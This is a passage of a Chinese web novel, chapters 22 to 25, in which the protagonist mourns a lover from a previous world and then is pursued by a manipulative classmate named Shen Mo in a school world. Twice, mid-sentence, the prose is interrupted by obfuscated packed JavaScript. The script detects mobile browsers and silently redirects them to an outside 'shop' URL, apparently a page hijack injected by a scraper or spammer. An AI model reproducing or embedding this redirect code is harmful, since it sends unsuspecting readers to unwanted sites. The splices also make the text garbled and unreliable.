林知白看着沈墨,想起刚才系统空间里顾霆琛的墓碑。 他深吸一口气。 “来吧,这次我不会再被动了。” 22. 第 22 章 白光散去。 林知白睁开眼睛,发现自己站在一片白色的空间里。 四周什么都没有,只有白茫茫的光。脚下是透明的,像踩在玻璃上,能看见下面有星星点点的光在流动。 “系统空间。”一个熟悉的声音响起,“每个世界结束后会在这里休息。本系统一般管它叫‘中场休息室’。” 林知白抬起头,看见一个光球漂浮在自己面前。 很小,拳头大小,散发着暖黄色的光。 “小污?” “不然呢?还能是谁?”光球闪了闪,“恭喜宿主完成第一个世界,获得勇气碎片·识谎。以后你能分辨别人说的是真话还是假话了——虽然本系统觉得你这技能来得有点晚,第一个世界都快被你过成筛子了。” 林知白看着那个光球,愣了好几秒。 “你......长这样?” “不然呢?你以为本系统长什么样?一个大长腿美女?”小污的语气充满嫌弃,“本系统是系统,系统懂吗?没有实体,只有代码。这个光球只是为了方便你看着不害怕。” 林知白盯着那个光球,忍不住笑了。 “你笑什么?” “没什么。”林知白摇摇头,“就是觉得,你挺可爱的。” 光球剧烈地闪了几下。 “宿、宿主,你别乱说话!本系统可是正经系统!不是什么可爱不可爱的!” 林知白笑得更厉害了。 “好了好了,不逗你了。”他看了看四周,“这地方......挺空的。” “废话,系统空间要那么花里胡哨干嘛?又不是旅游景点。”小污吐槽,“不过等会儿有个环节,你可能需要心理准备。” “什么环节?” 小污没说话。 但它面前突然出现了一块巨大的光屏,像投影一样。 画面里是顾霆琛。 他站在那个病房门口,看着电梯的方向,很久很久。 林知白的笑容慢慢消失了。 画面里,顾霆琛慢慢走回病房,坐在林知白躺过的床边。他坐了很久,一动不动。然后他从口袋里掏出一样东西——是那张“吃药”的纸条,还有那张“早餐在厨房”的纸条,还有那张“我去公司了”的纸条。 他把它们一张一张铺平,叠好,收进口袋里。 林知白的眼眶有点热。 画面一转。 一年后。 顾霆琛站在墓园里,面前是一块墓碑。 墓碑上写着三个字:林知白。 下面一行小字:吾爱。 他蹲下来,把一束白玫瑰放在墓碑前。 “一年了。”他说,声音很轻,“你在那边还好吗?” 风吹过,玫瑰轻轻晃动。 “我挺好的。”他继续说,“公司的事处理完了,该安排的都安排了。下周我要走了,去找你。” 林知白愣住了。 “他说什么?” 小污没回答。 画面里,顾霆琛站起来,看着墓碑。 “你说过,下辈子如果遇见,让我请你吃饭。”他笑了笑,“我怕你忘了,所以提前去等你。” 他转身离开。 画面跟着他,走出墓园,走进一家医院,躺上病床。 床头放着一张照片——是林知白趴在餐桌上睡着的样子,阳光照在他脸上。 顾霆琛看着那张照片,闭上眼睛。 心电图变成一条直线。 画面暗了下去。 林知白站在原地,一动不动。 很久之后,他开口了。 “他......死了?” 小污沉默了几秒。 “胃癌晚期。”它说,“查出来的时候已经扩散了。他一直没告诉你。” 林知白的眼眶红了。 “他每天陪你,照顾你,给你做饭。”小污继续说,“他自己的病,一个字都没提。医生让他住院,他说‘不行,家里有人等着’。” 林知白张了张嘴,想说什么,但什么都说不出来。 “他最后那段日子,其实很疼。”小污的声音很轻,“但他每天都笑,每天都给你做饭,每天都陪你看电视。因为他知道,时间不多了。” 林知白低下头,眼泪掉下来。 “宿主。”小污轻轻叫了一声。 “我知道。”林知白的声音有点抖,“我知道他爱我。我只是......” 他没说完。 画面再次亮起。 这次是顾霆琛的葬礼。 苏晴来了,站在角落里哭。还有几个林知白不认识的人,大概是他的朋友。 墓碑上刻着两个名字—— 顾霆琛,旁边是林知白。 两个名字靠在一起,中间画了一个小小的爱心。 林知白看着那个爱心,愣住了。 “他画的?”他问。 “嗯。”小污说,“他死前交代的,说一定要画个爱心,说你们下辈子还要在一起。” 林知白没说话。 他只是看着那个画面,看了很久很久。 直到画面慢慢变淡,最后消失。 白色的空间里又恢复了安静。 林知白站在原地,眼泪无声地流。 小污没有说话,只是静静地漂浮在他身边。 很久之后,林知白深吸一口气,擦了擦脸。 “他最后说的那句话,你听到了吗?”他问,声音有点哑。 “听到了。”小污说,“他说下辈子还要请你吃饭。” 林知白笑了笑。 笑着笑着,眼泪又流下来。 “宿主。”小污的声音响起,“你还好吗?” 林知白点点头。 “那就好。”小污顿了顿,“本系统得提醒你,你现在获得的勇气碎片叫‘识谎’,以后你能分辨别人说的是真话还是假话了。这个技能在下个世界应该能用上。” 林知白愣了一下。 “下个世界?” “对。”小污的光球闪了闪,“你已经完成了第一个世界,还有七个等着你。根据设定,你收集完八个勇气碎片,就能回到现实改变命运。” 林知白沉默了几秒。 “那我回去的时候,这个世界的时间会怎么算?” “现实世界只过了几秒。”小污说,“你从天台上跳下去的那一瞬间,会被系统暂停。等你完成任务回去,时间重新开始流动,你可以选择不跳。” 林知白点点头。 “那顾霆琛......他在这个世界是真的存在吗?” “存在。”小污说,“每个世界都是真实的平行宇宙。你遇到的人都是真实的人,他们的感情也是真实的。你离开后,他们的时间会继续流动。” 林知白沉默了。 所以顾霆琛是真的死了。 是真的在等他。 “宿主。”小污的声音轻轻响起,“你别太难过。他在最后那段时间,过得很满足。他说过,有你的那两个月,是他这辈子最开心的日子。” 林知白没说话。 他只是站在那里,想着顾霆琛最后那个笑容。 他说“下辈子如果遇见,你请我吃饭”。 他说“我怕你忘了,所以提前去等你”。 “小污。” “嗯?” “下个世界,我能遇到他吗?” 小污沉默了几秒。 “理论上不能。”它说,“每个世界都是独立的,人物不同。但也有极小的概率,会出现灵魂相似的人。那是他们自己的选择,不是系统安排的。” 林知白点点头。 “我知道了。” 他深吸一口气,抬起头。 “走吧,下一个。” 小污的光球闪了闪。 “你确定?不需要再休息一会儿?” “不用。”林知白说,“早点完成任务,早点回去。他在等我。” 小污沉默了两秒,然后笑了。 “宿主,你变了。” “变了?” “以前的你,是被人推着走。现在的你,是自己往前走。”小污说,“这就是成长。” 林知白愣了一下,然后笑了。 “可能是吧。” “那准备好了?”小污问,“下一个是校园世界,你的老本行。但小心点,那个世界的攻方可不是什么好人。” 林知白点点头。 “来吧。” 眼前白光一闪。 耳边传来一阵嘈杂的声音——笑声、说话声、椅子挪动的声音。 林知白睁开眼睛,发现自己坐在一间教室里。 阳光从窗户照进来,很刺眼。黑板上写着“高考倒计时30天”,粉笔字歪歪扭扭的。周围的课桌坐满了人,有人在聊天,有人在睡觉,有人在偷偷玩手机。 林知白低头看了看自己——穿着蓝白相间的校服,袖口有点脏,像是蹭到了什么。 “林知白!发什么呆呢?” 一只手在他面前晃了晃。 林知白抬起头,看见一个圆脸男生正看着自己,一脸疑惑。 “老师叫你呢!” 林知白顺着他的目光看向讲台。 讲台上站着一个中年女老师,正用教鞭敲着黑板,表情不太好看。 “林知白,这道题上来做。” 林知白看着黑板上那道数学题——函数、导数、乱七八糟的符号。 他站起来,走向讲台。 路过第三排的时候,他感觉到一道目光落在自己身上。 他偏过头。 靠窗的位置上,坐着一个戴金丝边眼镜的男生。斯文清秀,五官精致,正低着头看书,看起来很专注的样子。 但林知白知道,刚才那道目光就是他。 “宿主。”小污的声音突然在脑海里响起,“小心那个眼镜男。他看你的眼神不对劲。” 林知白脚步没停,继续往前走。 走到讲台上,他拿起粉笔,看着那道题。 他脑子里其实一片空白——他根本不记得高中数学。 但就在这时,手指自己动了起来。 粉笔在黑板上刷刷刷地写,公式、推导、答案,一气呵成。 林知白愣住了。 “原主的肌肉记忆。”小污解释,“每个世界你都会继承原主的部分能力。这个世界你是体育生,但脑子也不笨,只是不爱学习。” 林知白在心里默默给原主点了个赞。 老师看了看答案,表情缓和了一点。 “回去坐吧,下次认真听课。” 林知白点点头,回到座位上。 坐下的时候,他又看了一眼第三排那个位置。 金丝边眼镜男生正好抬起头,对上他的目光,然后微微笑了笑。 那笑容很温和,很礼貌,挑不出任何毛病。 但林知白心里突然涌起一股奇怪的感觉。 “小污。”他在心里问,“那个人是谁?” “沈墨。”小污回答,“年级第一,学霸,学生会主席。全校女 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17432122|200930||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 生心中的白马王子。” 林知白沉默了几秒。 “他看我的眼神,为什么让我不舒服?” “因为他在看你。”小污说,“不是那种随便看一眼的看,是那种......盯上你了的看。” 林知白没说话。 他想起刚才那个微笑。 温和的,礼貌的,完美的。 但不知道为什么,他想起了顾霆琛第一次看他的眼神——那种透过他看别人的眼神。 不一样。 但一样让人不舒服。 下课铃响了。 教室里瞬间热闹起来。有人冲出教室,有人聚在一起聊天,有人趴在桌上补觉。 林知白收拾书包,准备离开。 “林知白。” 一个声音在身后响起。 林知白回过头。 沈墨站在他身后,手里拿着一本书。 “你的书。”他递过来,“刚才掉在地上了。” 林知白低头看了看——是一本英语辅导书,封面上确实写着他的名字。 “谢谢。”他接过来。 沈墨笑了笑,没走。 “你刚才那道题做得挺好的。”他说,“以前没发现你数学这么好。” 林知白看着他,没说话。 沈墨对上他的目光,眼神里闪过一丝什么。 “怎么了?我脸上有东西?” “没有。”林知白说,“就是觉得......你挺热心的。” 沈墨愣了一下,然后笑了。 “同学之间互相帮助嘛。”他说,“对了,下周有个数学补习班,你要不要一起?我可以帮你。” 林知白看着他,沉默了两秒。 然后他笑了笑。 “好啊,谢谢。” 沈墨点点头,转身走了。 林知白看着他的背影,嘴角的笑容慢慢收起来。 “宿主。”小污的声音响起,“你笑得好假。” “是吗?” “本系统的微表情分析显示,你刚才那个笑,只有嘴角在动,眼睛完全没有参与,属于典型的‘礼貌性假笑’。” 林知白在心里默默翻了个白眼。 “你观察得还挺仔细。” “那当然,本系统的特长就是观察人类的虚伪。”小污顿了顿,“不过说真的,那个沈墨有问题。他刚才看你的眼神,本系统分析了一下——瞳孔放大,呼吸频率改变,微表情有七种变化。这是典型的‘目标锁定’状态。” 林知白往外走。 “我知道。” “你知道?” “嗯。”林知白走出教室,阳光照在他身上,很暖和,“从第一个世界,我就学会了一件事。” “什么事?” “对我太好的人,往往另有所图。” 小污沉默了两秒。 “宿主,你成长了。” 林知白没说话。 他走在校园里,看着周围来来往往的学生。有人在笑,有人在闹,有人在小声说话。 一切都那么正常,那么普通。 但他知道,这个世界里,藏着危险。 沈墨。 年级第一,学霸,学生会主席。 全校女生心中的白马王子。 但他的眼神,让林知白想起了什么。 想起顾霆琛第一次看他的时候,那种“透过他看别人”的眼神。 想起自己被当成替身的日子。 想起那些温柔背后的算计。 “小污。” “嗯?” “你说,这个世界,我会被虐成什么样?” 小污沉默了几秒。 “根据本系统的数据库,这个世界的核心虐点是——沈墨会毁掉你的高考前途,让你永远留在他身边。” 林知白停下脚步。 “高考前途?” “对。”小污说,“他是学霸,你是体育生。他想和你考同一所大学,但他知道你的分数考不上。所以他做了件事——” “什么事?” 小污沉默了一下。 “他把你的志愿改了。” 林知白站在阳光下,看着自己的影子。 很长,很淡。 他突然笑了。 “又是这样。”他说,“每个世界,都是因为爱,所以伤害。” “宿主,你怕吗?” 林知白想了想。 “怕。”他说,“但不怕也没用。” 他继续往前走。 “走吧,去宿舍。我想看看这个世界,还有什么等着我。” 身后,教学楼的窗户边,一个人影静静地站着。 他戴着金丝边眼镜,目光一直追随着那个远去的背影。 嘴角弯起一个弧度。 很温柔。 很危险。 林知白回到宿舍,发现沈墨就住在他隔壁。 “这么巧?”沈墨笑着说,“以后可以一起学习了。” 林知白也笑。 但他心里知道,这不是巧合。 晚上,沈墨来敲门,带了夜宵。 “给你补补,下周的数学补习班,我帮你占位置。” 林知白接过夜宵,说了声谢谢。 关上门后,他看着那袋东西,沉默了很久。 “宿主,你吃吗?” 林知白想了想,打开袋子。 里面是一碗热腾腾的馄饨,还有一张纸条。 纸条上写着:好好休息,明天见。 23. 第 23 章 阳光从窗帘缝隙钻进来,在地板上画出一道亮线。 林知白醒来的第一件事,是看床头那碗馄饨。 昨晚他到底没吃。 不是不饿,是看着那张“好好休息,明天见”的纸条,总觉得哪里不对。他把馄饨倒进垃圾袋,把纸条对折,塞进抽屉最深处。 “宿主,你变了。”小污的声音幽幽响起,“以前的你,看到这种温柔攻势早就沦陷了。” 林知白坐起来,揉了揉眼睛。 “以前的我也被虐了二十章,再不长记性就是傻子。” “有道理。”小污顿了顿,“不过本系统得提醒你,沈墨的温柔只是表象。根据数据库,他的真实面目会在高考前后暴露。” 林知白穿衣服的手顿了顿。 “我知道。” “你知道还去上他的补习班?” 林知白没回答。 他走到窗前,拉开窗帘。 阳光涌进来,照得人睁不开眼。宿舍楼下,有人在晨跑,有人在背书,还有人在食堂门口排队。一切看起来那么正常,那么青春。 “我要是不去,他怎么露出马脚?”林知白转过身,“被动挨打的事,我干够了。” 小污沉默了两秒。 “宿主,你刚才那句话,有点帅。” 林知白笑了。 “走吧,去吃早饭。今天还有体育课。” 食堂里人很多。 林知白端着托盘找位置,一眼就看见角落里那个戴金边眼镜的身影。 沈墨也看见了他,笑着招手。 “林知白,这儿。” 林知白走过去,在他对面坐下。 “这么巧?”他问。 “不巧。”沈墨把一碗粥推到他面前,“我特意等你。昨晚的馄饨好吃吗?” 林知白看着那碗粥——皮蛋瘦肉粥,上面撒着葱花,还冒着热气。 “好吃。”他说,“谢谢。” 沈墨笑了笑,低头吃自己的。 林知白也低头吃。 两个人就这么安静地吃着早餐,像认识了很久的朋友。 “宿主。”小污的声音突然响起,“本系统要提醒你,他刚才看你吃粥的表情,有点不对劲。” “怎么不对劲?” “瞳孔放大,嘴角上扬十五度,是那种看到猎物上钩的表情。” 林知白握着勺子的手顿了一下,然后继续吃。 “我知道。” 吃完饭,沈墨收拾碗筷。 “对了,下午有数学补习班,我帮你占位置了。”他说,“三点,教学楼303,别忘了。” 林知白点点头。 “谢谢。” 沈墨看着他,欲言又止。 “怎么了?” “没什么。”沈墨笑了笑,“就是觉得......你好像变了一点。” 林知白心里一紧。 “变什么?” 沈墨想了想,摇摇头。 “说不上来。就是感觉,你以前看我的眼神不是这样的。”他站起来,“走了,下午见。” 林知白看着他的背影消失在人群中。 “宿主。”小污的声音响起,“他察觉到了。” “嗯。” “你打算怎么办?” 林知白站起来,端起托盘。 “不怎么办。”他说,“他察觉是他的事,我演我的戏。” 下午三点,教学楼303。 林知白推门进去的时候,教室里已经坐满了人。黑板上写着密密麻麻的公式,老师在讲台上讲着什么,底下的人有的在记笔记,有的在发呆。 沈墨坐在第三排靠窗的位置,旁边空着一个座位。 他看见林知白,招招手。 林知白走过去坐下。 “来,笔记。”沈墨推过来一个本子,“刚才讲的内容我都记了,你先看看。” 林知白接过本子,翻开。 字迹工整漂亮,每一道题都写得清清楚楚。 “谢谢。” 沈墨笑了笑,继续听课。 林知白看着他的侧脸——阳光从窗户照进来,在他脸上镀了一层浅金色的光。他的睫毛很长,低头记笔记的时候,会在眼睑上投下一小片阴影。 很帅。 帅得让林知白想起顾霆琛。 不一样的帅,但那种“看着你就让你心跳加速”的感觉,很像。 “宿主。”小污的声音幽幽响起,“你不会动心了吧?” 林知白收回目光。 “没有。” “本系统检测到你的心率比平时高了百分之十二。” “那是热的。” “教室里有空调。” 林知白默默翻了个白眼,没再理它。 补习班结束的时候,天已经快黑了。 林知白收拾东西准备走,沈墨叫住他。 “林知白,你等下有时间吗?” 林知白看着他。 “怎么了?” 沈墨犹豫了一下。 “我想跟你聊点事。”他说,“去操场走走?” 林知白想了想,点点头。 操场上人不多。 夕阳把天空染成橙红色,跑道上有几个在跑步的人,草坪上坐着几对情侣。 林知白和沈墨并排走着,谁都没说话。 走了一圈,沈墨开口了。 “林知白,你有喜欢的人吗?” 林知白愣了一下。 “什么?” “就是......你有没有喜欢的人?”沈墨看着他,眼神很认真,“女生,或者......男生?” 林知白沉默了几秒。 “为什么问这个?” 沈墨笑了笑,低下头。 “因为我想知道。”他说,“想知道有没有人,比我更早认识你。” 林知白的心跳漏了一拍。 “宿主!”小污的声音炸响,“他这是在表白吗?这也太快了!才第二天!” 林知白没理它。 他只是看着沈墨,看着那张被夕阳染成金色的脸。 “沈墨。”他开口,“我们才认识两天。” “两天怎么了?”沈墨抬起头,“有些人认识十年也没感觉,有些人看一眼就知道是那个人。” 林知白愣住了。 这句话,好熟悉。 他想起顾霆琛说过的——“苏沐是我的过去,你是我想要的未来。” “宿主。”小污的声音很轻,“你的心率飙到一百三了。” 林知白深吸一口气。 “沈墨。”他说,“我现在不想谈这个。” 沈墨看着他,眼神里闪过一丝失望,但很快消失了。 “没关系。”他笑了笑,“我可以等。” 两个人继续往前走。 夕阳慢慢沉下去,天空从橙红变成深蓝。 走到操场尽头的时候,林知白突然看见一个人。 是个女生,坐在看台上,抱着膝盖,好像在哭。 林知白停下脚步。 那个女生他认识——陈瑶,隔壁班的,长得很好看,是那种一看就让人想保护的类型。 “怎么了?”沈墨顺着他的目光看过去,“陈瑶?” 林知白转过头:“你认识她?” “嗯,隔壁班的。”沈墨说,“她最近好像心情不好,听说是家里出了什么事。” 林知白看着那个哭泣的身影,心里突然涌起一种奇怪的感觉。 想走过去,想问问她怎么了,想......保护她。 “宿主。”小污的声音响起,“你的心率又变了。” 林知白愣了一下。 对陈瑶,他为什么会有这种感觉? “沈墨。”他说,“你先回去吧,我去看看她。” 沈墨看着他,眼神复杂。 “你喜欢她?” 林知白愣住了。 喜欢? 他才刚认识她,看都没看清脸,怎么谈得上喜欢? 但他确实想走过去,确实想关心她。 “不知道。”他说,“就是觉得......应该去看看。” 沈墨沉默了几秒,然后笑了。 “去吧。”他说,“我在这儿等你。” 林知白点点头,走向看台。 走近了,他才看清陈瑶的脸。 很漂亮,瓜子脸,大眼睛,皮肤白得近乎透明。但眼眶红红的,睫毛上还挂着泪珠,看着让人心疼。 “你 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“宿主。”小污的声音响起,“你刚才那几句话,说得挺帅的。” 林知白没说话。 他只是坐在那里,想着刚才的感觉。 那种想保护一个人的感觉,是什么? “林知白。” 身后传来沈墨的声音。 林知白回过头,看见沈墨站在不远处,看着他。 “走吧,天黑了。” 林知白站起来,走向他。 两个人并肩离开操场。 “你喜欢她。”沈墨突然说。 林知白脚步顿了顿。 “我没有。” “你有。”沈墨看着他,“你看她的眼神,骗不了人。” 林知白没说话。 沈墨沉默了几秒,然后笑了。 “没关系。”他说,“你喜欢她,我喜欢你。我们扯平了。” 林知白愣住了。 “你说什么?” 沈墨看着他,眼神里有什么东西在涌动。 “我说,我喜欢你。”他说,“从你第一次在操场上跑步的时候,我就喜欢你了。你可能不记得,但我记得。” 林知白张了张嘴,想说什么,但什么都说不出来。 “宿主!”小污的声音炸响,“这什么情况?他喜欢的是你?不是陈瑶?” 林知白也没反应过来。 沈墨看着他震惊的表情,笑了。 “吓到了?”他说,“没事,你不用现在回答。我只是想让你知道。” 他往前走。 走了几步,又回过头。 “对了,晚上要不要一起吃饭?庆祝你找到喜欢的人。” 林知白看着他的背影,沉默了。 这个人,刚才说喜欢他。 现在又说要庆祝他找到喜欢的人。 是真的喜欢? 还是另有所图? “宿主。”小污的声音响起,“本系统有个不好的预感。” “什么?” “他在布局。”小污说,“他在用自己的‘大度’,让你放松警惕。” 林知白站在原地,看着沈墨的背影消失在夜色里。 他突然想起第一个世界。 想起顾霆琛的温柔,想起那些甜蜜的陷阱。 “小污。” “嗯?” “这次,我不会再上当了。” 他转身,走向宿舍。 身后,操场的灯光一盏一盏亮起来。 明天,又是新的一天。 接下来的一周,沈墨对林知白更好了。 帮他占座,帮他记笔记,帮他打饭。每次林知白和陈瑶说话,他就在旁边笑着看着,从来不打扰。 但林知白发现,每次他和陈瑶聊完天,陈瑶看他的眼神就会变得很奇怪。 像是害怕。 又像是愧疚。 24. 第 24 章 接下来的一周,林知白觉得自己好像活在梦里。 不是那种美好的梦,是那种明知道不对劲,却怎么也醒不过来的梦。 每天早上,沈墨准时出现在宿舍门口,手里提着早餐。 “给你,豆浆油条,趁热吃。” 林知白看着那袋早餐,又看看沈墨脸上的笑容。 “你天天这样,不累吗?” “不累。”沈墨推了推眼镜,“给你买早餐怎么会累?” 林知白接过早餐,不知道该说什么。 “对了。”沈墨像想起什么,“今天中午陈瑶在图书馆,你要不要去看看她?” 林知白愣了一下。 “你怎么知道她在图书馆?” 沈墨笑了笑:“她跟我说的。昨天我们在路上碰见,聊了几句。她说她最近心情不好,经常去图书馆发呆。我觉得你应该去看看她。” 林知白看着他,没有说话。 “宿主。”小污的声音幽幽响起,“他在撮合你和陈瑶。” “我知道。” “你不觉得奇怪吗?一个说喜欢你的人,天天帮你追别的女生?” 林知白当然觉得奇怪。 但他没说出来。 “好。”他点点头,“中午我去看看。” 沈墨笑得更灿烂了。 “加油。” 中午,图书馆。 林知白走进去的时候,一眼就看见了陈瑶。 她坐在靠窗的位置,阳光照在她身上,给她镀了一层浅金色的光。她低着头,不知道在看什么,长长的睫毛在眼睑上投下一小片阴影。 很安静,很好看。 林知白走过去,在她对面坐下。 陈瑶抬起头,看见是他,愣了一下。 “林知白?” “嗯。”林知白看着她,“沈墨说你在这儿,我过来看看。” 陈瑶的表情僵了一瞬。 “沈墨说的?” “怎么了?” 陈瑶摇摇头,低下头继续看书。 但林知白注意到,她的手指在微微发抖。 “陈瑶。”他轻声问,“你没事吧?” 陈瑶没抬头。 “没事。” “可是你手在抖。” 陈瑶的手顿住了。 她抬起头,看着林知白,眼眶突然红了。 “林知白。”她开口,声音很轻,“你离沈墨远一点。” 林知白愣住了。 “什么?” 陈瑶看了看四周,确定没人才继续说。 “他......不是好人。”她的声音压得更低了,“我知道你喜欢他——” “我不喜欢他。”林知白打断她。 陈瑶愣了一下。 “你不喜欢他?” “不喜欢。”林知白说,“他帮我,我谢谢他。但仅此而已。” 陈瑶看着他,眼神复杂。 “那就好。”她说,“那就好。” “你为什么这么说?”林知白追问,“他对你做了什么?” 陈瑶沉默了很久。 久到林知白以为她不会回答了。 然后她开口,声音很轻。 “他追过我。”她说,“高二的时候。对我特别好,特别温柔。我以为他是真心的。” 林知白心里一紧。 “然后呢?” “然后我发现,他在追我的同时,也在追别人。”陈瑶低下头,“好几个女生,他都说过同样的话,做过同样的事。他不是真的喜欢谁,他只是......喜欢追人的感觉。” 林知白沉默了。 “后来我问过他为什么。”陈瑶继续说,“他说,看到别人因为他开心,他就开心。看到别人因为他难过,他也开心。他说,这是一种能力,掌控别人情绪的能力。” 林知白的手指慢慢收紧。 “所以我离他远了。”陈瑶抬起头,看着他,“但他好像不甘心。他总是在我身边出现,总是对我笑,总是......让我觉得害怕。” 林知白看着她,看着那张脸上的恐惧和委屈。 他想说什么,但什么都说不出来。 “林知白。”陈瑶握住他的手,握得很紧,“你离他远一点。他对你好,一定是有目的的。我不知道是什么目的,但一定有。” 林知白点点头。 “我知道。”他说,“你放心。” 陈瑶看着他,眼眶更红了。 “谢谢你信我。”她松开手,低下头,“我以为没人会信的。” 林知白没有回答。 他只是看着窗外,阳光很好,照在图书馆的草坪上。 但心里,有什么东西沉了下去。 下午,林知白回到宿舍。 刚进门,就看见沈墨站在走廊里,手里拿着一盒水果。 “回来了?”沈墨笑着走过来,“陈瑶怎么样?” 林知白看着他。 那张脸,那副眼镜,那个笑容。 都那么完美。 完美得让人想吐。 “她挺好的。”林知白说,“谢谢关心。” 沈墨点点头,把水果递过来。 “给你的,补充维生素。” 林知白接过水果。 “沈墨。”他突然开口。 沈墨看着他。 “怎么了?” 林知白沉默了几秒。 然后他笑了。 “没什么,谢谢你的水果。” 他转身走进宿舍,关上门。 门关上的那一刻,他的笑容消失了。 “宿主。”小污的声音响起,“你知道真相了?” “知道一点。”林知白把水果放在桌上,“他是那种人——把别人的感情当游戏。” “那你打算怎么办?” 林知白坐在床上,看着那盒水果。 “不怎么办。”他说,“继续演。” “演?” “他要追我,我就让他追。”林知白说,“我要看看,他到底想干什么。” 小污沉默了两秒。 “宿主,你变了。” “变什么?” “变聪明了。”小污说,“以前的你,只会躲。现在的你,会主动出击。” 林知白没说话。 他只是想起陈瑶握着自己手的样子,想起她眼里的恐惧。 这个世界上,被沈墨伤害过的人,不止她一个。 如果可以,他想让沈墨知道——不是所有人,都会乖乖成为他的猎物。 接下来的日子,林知白开始配合沈墨的“追求”。 沈墨约他吃饭,他去。 沈墨送他礼物,他收。 沈墨说“我喜欢你”,他笑着说“谢谢”。 但他从不主动,从不回应,从不给任何承诺。 “宿主。”小污有一次忍不住问,“你这样吊着他,不怕他生气?” 林知白正在看书——沈墨送的辅导书。 “他不是喜欢掌控别人情绪吗?”他翻了一页,“那我就让他尝尝,掌控不了的滋味。” 小污沉默了两秒。 然后它笑了。 “宿主 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17432124|200930||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,你学坏了。” “是成长。”林知白纠正。 那天晚上,沈墨约林知白去操场散步。 天已经黑了,操场上没什么人。只有几盏路灯亮着,在地上投下一圈圈昏黄的光。 两个人并肩走着,谁都没说话。 走了一圈,沈墨开口了。 “林知白。” “嗯?” “你觉得我怎么样?” 林知白看着他,路灯的光落在他脸上,把那副金丝边眼镜照得发亮。 “挺好的。”他说。 沈墨笑了笑。 “那……你有没有一点点喜欢我?” 林知白沉默了几秒。 然后他笑了。 “沈墨,你知道我最喜欢你什么吗?” 沈墨愣了一下。 “什么?” “你对我好,但不求回报。”林知白说,“你知道我喜欢陈瑶,你还帮我。这种大度,不是谁都有。” 沈墨的笑容僵了一瞬。 只是一瞬,然后恢复了正常。 “那是因为……我希望你开心。”他说。 林知白点点头。 “我知道。”他说,“所以我谢谢你。” 他继续往前走。 沈墨站在原地,看着他的背影。 那眼神里,有什么东西闪了一下。 “宿主。”小污的声音响起,“本系统刚才捕捉到他的微表情变化——愤怒,大概持续了零点三秒。” 林知白嘴角微微上扬。 “知道了。” 晚上回到宿舍,林知白收到一条消息。 是陈瑶发的。 【林知白,你最近和沈墨走得很近?】 林知白回复:【怎么了?】 陈瑶那边沉默了很久。 然后她发来一条长消息: 【我今天不小心看到了他的手机。他有个文件夹,里面存了好多人的照片。有我的,有你的,还有好几个我不认识的人。文件夹名字叫“猎物清单”。】 林知白盯着那行字,看了很久。 “宿主。”小污的声音响起,“你猜对了。” 林知白没说话。 他只是想起沈墨的笑容,想起他的温柔,想起他说的“我喜欢你”。 原来都是真的。 真的想追他。 真的想把他变成“猎物”。 【你小心点。】陈瑶又发来一条,【他真的……很可怕。】 林知白打了几个字,发过去: 【我知道。你放心。】 发完他把手机扔到一边,躺在床上看着天花板。 “宿主,你打算怎么办?” 林知白想了想。 “继续演。”他说,“演到他露出真面目。” “然后呢?” “然后让他知道,不是所有猎物,都会乖乖进笼子。” 窗外,月光很亮。 照在宿舍的窗台上,像一层薄薄的霜。 林知白闭上眼睛。 明天,又是新的一天。 第二天,沈墨又来找林知白。 “今天周末,要不要出去玩?”他笑着问,“我知道一个地方,风景特别好。” 林知白看着他。 那张脸,那副眼镜,那个笑容。 他想起陈瑶说的“猎物清单”。 然后他笑了。 “好啊。”他说,“去哪儿?” 沈墨的眼睛亮了一下。 “去了你就知道了。” 林知白跟着他走出宿舍。 25. 第 25 章 周末的阳光很好,好到有些刺眼。 林知白站在宿舍楼下,看着沈墨推着一辆自行车走过来。他穿着白衬衫,袖子挽到手肘,头发被风吹得有点乱,看起来就像偶像剧里走出来的男主角。 “等久了吧?”沈墨在他面前停下,拍了拍后座,“上来。” 林知白看着那辆自行车,又看看沈墨脸上的笑容。 “去哪儿?” “说了是秘密。”沈墨眨眨眼,“到了你就知道了。” 林知白沉默了一秒,然后坐上了后座。 沈墨蹬起自行车,两个人沿着校园的林荫道往前。风吹过来,带着青草和阳光的气息。路两边的梧桐树沙沙作响,叶子开始泛黄,偶尔飘落几片。 “林知白。”沈墨的声音从前面传来。 “嗯?” “你抱紧点,别摔了。” 林知白看着他的后背,没有动。 沈墨等了几秒,没感觉到身后的动静,笑了笑,没再说什么。 自行车骑出校园,穿过几条街道,拐进一条林间小路。路越来越窄,两边的树越来越密,阳光从树叶缝隙里漏下来,在地上洒下一片片光斑。 “宿主。”小污的声音幽幽响起,“这地方越来越偏僻了。根据本系统对三千六百部虐恋小说的研究,这种荒郊野外通常是——” “是什么?” “是杀人埋尸的好地方。” 林知白差点被自己的口水呛到。 “你能不能盼我点好?” “本系统当然盼你好,但本系统更要提醒你——沈墨看你的眼神,越来越像看猎物了。” 林知白没说话。 他只是看着沈墨的后背,那件白衬衫被风吹得鼓起来,像一只白色的风筝。 自行车终于停了。 林知白跳下车,抬头一看,愣住了。 面前是一片湖。 很大,很安静,湖水蓝得像假的。四周被山围着,山上长满了树,红黄绿交错,像是被打翻的调色盘。湖面上有几只水鸟在游,偶尔发出一两声叫。 “好看吗?”沈墨走过来,站在他身边。 林知白点点头。 “好看。” 沈墨笑了。 “我就知道你会喜欢。”他说,“这个地方是我偶然发现的,从来没带别人来过。你是第一个。” 林知白看着他。 